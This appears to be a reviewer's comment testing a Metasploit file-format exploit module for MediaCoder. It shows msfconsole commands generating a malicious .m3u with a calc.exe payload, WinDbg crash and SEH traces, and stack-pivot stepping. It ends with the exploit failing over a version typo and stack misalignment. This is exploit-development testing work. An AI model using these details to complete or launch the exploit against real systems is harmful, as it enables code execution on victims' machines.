* Testing with MediaCoder-0.8.23.5530.exe: Doesn't work, neither crash.
* Testing with MediaCoder-0.8.22.5525.exe: crashes but doesn't work.

Generated test case:

```
msf exploit(mediacoder_m3u) > show options

Module options (exploit/windows/fileformat/mediacoder_m3u):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.m3u          no        The file name.


Exploit target:

   Id  Name
   --  ----
   0   MediaCoder 0.8.23.5530 / Windows XP SP3 / Windows 7 SP1


msf exploit(mediacoder_m3u) > set payload windows/exec 
payload => windows/exec
msf exploit(mediacoder_m3u) > set CMD calc.exe
CMD => calc.exe
msf exploit(mediacoder_m3u) > rexploit
[*] Reloading module...

[+] msf.m3u stored at /.msf4/local/msf.m3u

```

* Crash:

```
(ec8.330): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\MediaCoder\mediacoder.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\MediaCoder\mediacoder.exe
eax=000000fe ebx=7734ad60 ecx=0797b808 edx=f87b47f8 esi=005308c8 edi=000f00ac
eip=0042daf3 esp=0012f090 ebp=0012f1f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
mediacoder+0x2daf3:
0042daf3 88040a          mov     byte ptr [edx+ecx],al      ds:0023:00130000=41
0:000> !exchain
0012f3f4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\postproc-52.dll - 
postproc_52+14435 (6afd4435)
Invalid exception stack at 1f3706c9

```

* Getting EIP:

```
0:000> !exchain
0012f3f4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\postproc-52.dll - 
postproc_52+14435 (6afd4435)
Invalid exception stack at 1f3706c9
0:000> bp 0x6afd4435
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=6afd4435 edx=77cc71cd esi=00000000 edi=00000000
eip=6afd4435 esp=0012eb58 ebp=0012eb78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
postproc_52+0x14435:
6afd4435 81c4ac070000    add     esp,7ACh
```

* Executing the stackpivot until the ret:

```
eax=00000000 ebx=00000000 ecx=6afd4435 edx=77cc71cd esi=00000000 edi=00000000
eip=6afd4435 esp=0012eb58 ebp=0012eb78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
postproc_52+0x14435:
6afd4435 81c4ac070000    add     esp,7ACh
0:000> t
eax=00000000 ebx=00000000 ecx=6afd4435 edx=77cc71cd esi=00000000 edi=00000000
eip=6afd443b esp=0012f304 ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443b:
6afd443b 5b              pop     ebx
0:000> t
eax=00000000 ebx=dc05a759 ecx=6afd4435 edx=77cc71cd esi=00000000 edi=00000000
eip=6afd443c esp=0012f308 ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443c:
6afd443c 5e              pop     esi
0:000> t
eax=00000000 ebx=dc05a759 ecx=6afd4435 edx=77cc71cd esi=d24ee576 edi=00000000
eip=6afd443d esp=0012f30c ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443d:
6afd443d 5f              pop     edi
0:000> t
eax=00000000 ebx=dc05a759 ecx=6afd4435 edx=77cc71cd esi=d24ee576 edi=18a26cec
eip=6afd443e esp=0012f310 ebp=0012eb78 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443e:
6afd443e 5d              pop     ebp
0:000> t
eax=00000000 ebx=dc05a759 ecx=6afd4435 edx=77cc71cd esi=d24ee576 edi=18a26cec
eip=6afd443f esp=0012f314 ebp=ad31736a iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443f:
6afd443f c3              ret
```

* The stack at the stackpivot's ret:

```
eax=00000000 ebx=dc05a759 ecx=6afd4435 edx=77cc71cd esi=d24ee576 edi=18a26cec
eip=6afd443f esp=0012f314 ebp=ad31736a iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443f:
6afd443f c3              ret
0:000> dd /c1 esp
0012f314  5de29993
0012f318  5fb9d72c
0012f31c  bd821ff1
0012f320  7aaa1222
0012f324  f92b2044
0012f328  4218abda
0012f32c  a76aa3cf
0012f330  83d36f84
0012f334  cc5fbabf
0012f338  51a86dea
0012f33c  85a51ec5
0012f340  4a55d641
0012f344  c13dd08a
0012f348  fc97282e
0012f34c  db2923b9
0012f350  8e1a2cae
0012f354  19fdcda6
0012f358  6d93c249
0012f35c  13cad546
0012f360  05bb4a23
0012f364  87968c30
0012f368  18420f0c
0012f36c  beda55c4
0012f370  50be2c1b
0012f374  a6f02bce
0012f378  6aa8f1b4
0012f37c  da5aff8c
0012f380  bd3ee016
0012f384  9b8f49c2
0012f388  2e07cbab
0012f38c  98d768b0
0012f390  e9e19506

```

* Finally crash when ret into 5de29993

```
eax=00000000 ebx=dc05a759 ecx=6afd4435 edx=77cc71cd esi=d24ee576 edi=18a26cec
eip=5de29993 esp=0012f318 ebp=ad31736a iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
5de29993 ??              ???

```

So:

* Looks like the MediaCoder version in the target name isn't accurate. Shouldn't be 0.8.23.5530 but 0.8.22.5525. Is it a typo?

* ESP after the stackpivot doesn't point to the rop chain, alignment problem?